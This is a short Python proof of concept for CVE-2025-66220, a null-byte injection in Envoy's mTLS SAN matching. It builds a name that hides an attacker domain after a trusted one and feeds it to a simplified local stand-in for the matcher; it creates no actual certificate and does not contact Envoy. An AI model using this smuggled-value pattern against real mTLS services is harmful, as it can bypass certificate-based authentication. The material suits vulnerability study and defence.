CVE-2025-66220: Envoy mTLS证书匹配器OTHE RNAME SAN值空字节注入漏洞

# CVE-2025-66220 PoC - Envoy mTLS OTHE RNAME空字节注入漏洞演示 # This PoC demonstrates the concept of embedding null bytes in OTHE RNAME SAN values from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.backends import default_backend import binascii def create_malicious_cert_with_null_byte(): """ Create a certificate with embedded null byte in OTHE RNAME SAN value. This PoC demonstrates the vulnerability where Envoy may incorrectly treat certificates with embedded null bytes as valid matches. """ # OTHE RNAME with embedded null byte # The null byte can cause string termination issues in C++ parsing normal_name = b"legitimate-service.example.com" malicious_name = b"legitimate-service.example.com\x00attacker-controlled.com" print("[*] Demonstrating OTHE RNAME SAN null byte injection vulnerability") print(f"[+] Normal SAN value: {normal_name.decode()}") print(f"[+] Malicious SAN value (hex): {binascii.hexlify(malicious_name)}") print(f"[+] Malicious SAN value (with null): {malicious_name.decode('utf-8', errors='ignore')}") print("\n[*] The embedded null byte (\\x00) may cause:") print(" - String truncation during certificate parsing") print(" - Incorrect certificate matching in Envoy's mTLS matcher") print(" - Bypass of certificate validation checks") # Simulate certificate matching behavior def envoy_cert_match(cert_san, expected_san): """ Simplified simulation of Envoy's certificate matching logic Vulnerable implementation may not handle null bytes correctly """ # Vulnerable: Uses C-string style comparison cert_san_truncated = cert_san.split(b'\x00')[0] return cert_san_truncated == expected_san expected = b"legitimate-service.example.com" result = envoy_cert_match(malicious_name, expected) print(f"\n[*] Certificate matching result: {result}") if result: print("[!] VULNERABLE: Malicious certificate matched as valid!") else: print("[+] SAFE: Malicious certificate correctly rejected") return malicious_name # Usage example if __name__ == "__main__": create_malicious_cert_with_null_byte()